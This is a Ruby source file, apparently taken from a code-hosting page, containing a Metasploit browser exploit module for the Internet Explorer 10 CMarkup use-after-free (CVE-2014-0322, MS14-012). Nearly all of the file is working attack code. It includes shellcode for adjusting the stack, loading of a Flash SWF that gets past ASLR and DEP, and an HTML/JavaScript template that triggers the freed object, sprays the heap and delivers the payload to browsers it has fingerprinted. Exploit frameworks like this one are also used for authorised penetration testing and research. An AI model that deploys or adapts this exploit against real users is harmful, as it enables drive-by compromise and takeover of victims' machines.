206 lines
5.1 KiB
Ruby
206 lines
5.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
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'Description' => %q{
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This module exploits an use after free condition on Internet Explorer as used in the wild
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as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
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bypass ASLR and DEP.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery and Exploit in the wild
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'Jean-Jamil Khalife', # Exploit
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2014-0322' ],
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[ 'MSB', 'MS14-012' ],
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[ 'BID', '65551' ],
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[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
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[ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
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],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Payload' =>
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{
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'Space' => 960,
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'DisableNops' => true,
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'PrependEncoder' => stack_adjust
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},
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => 'Windows 7',
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:ua_name => Msf::HttpClients::IE,
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:ua_ver => '10.0',
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:mshtml_build => lambda { |ver| ver.to_i < 16843 },
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:flash => /^1[23]\./
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f',
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'Retries' => false
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},
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'Targets' =>
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[
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[ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 13 2014",
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'DefaultTarget' => 0))
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end
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def stack_adjust
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adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
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adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
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adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
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adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
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adjust
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end
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def create_swf
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path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
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fd = ::File.open( path, "rb" )
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swf = fd.read(fd.stat.size)
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fd.close
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return swf
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end
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def exploit
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@swf = create_swf
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super
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end
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def on_request_uri(cli, request)
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print_status("Request: #{request.uri}")
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if request.uri =~ /\.swf$/
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print_status("Sending SWF...")
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
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return
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end
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super
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end
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def on_request_exploit(cli, request, target_info)
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print_status("Sending HTML...")
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send_exploit_html(cli, exploit_template(cli, target_info))
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end
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def exploit_template(cli, target_info)
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flash_payload = ""
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padded_payload = get_payload(cli,target_info)
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while padded_payload.length % 4 != 0
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padded_payload += "\x00"
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end
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padded_payload.unpack("V*").each do |i|
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flash_payload << "0x#{i.to_s(16)},"
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end
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flash_payload.gsub!(/,$/, "")
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html_template = %Q|
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<html>
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<head>
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</head>
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<body>
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<script>
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var g_arr = [];
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var arrLen = 0x250;
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function dword2data(dword)
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{
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var d = Number(dword).toString(16);
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while (d.length < 8)
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d = '0' + d;
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return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
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}
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function eXpl()
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{
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var a=0;
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for (a=0; a < arrLen; a++) {
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g_arr[a] = document.createElement('div');
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}
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var b = dword2data(0x19fffff3);
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while (b.length < 0x360) {
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if (b.length == (0x98 / 2))
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{
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b += dword2data(0x1a000010);
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}
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else if (b.length == (0x94 / 2))
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{
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b += dword2data(0x1a111111);
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}
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else if (b.length == (0x15c / 2))
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{
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b += dword2data(0x42424242);
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}
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else
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{
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b += dword2data(0x19fffff3);
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}
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}
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var d = b.substring(0, ( 0x340 - 2 )/2);
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try{
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this.outerHTML=this.outerHTML
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} catch(e){
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}
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CollectGarbage();
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for (a=0; a < arrLen; a++)
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{
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g_arr[a].title = d.substring(0, d.length);
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}
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}
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function trigger()
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{
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var a = document.getElementsByTagName("script");
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var b = a[0];
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b.onpropertychange = eXpl;
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var c = document.createElement('SELECT');
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c = b.appendChild(c);
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}
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</script>
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<embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
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</embed>
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</body>
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</html>
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return html_template, binding()
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end
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end
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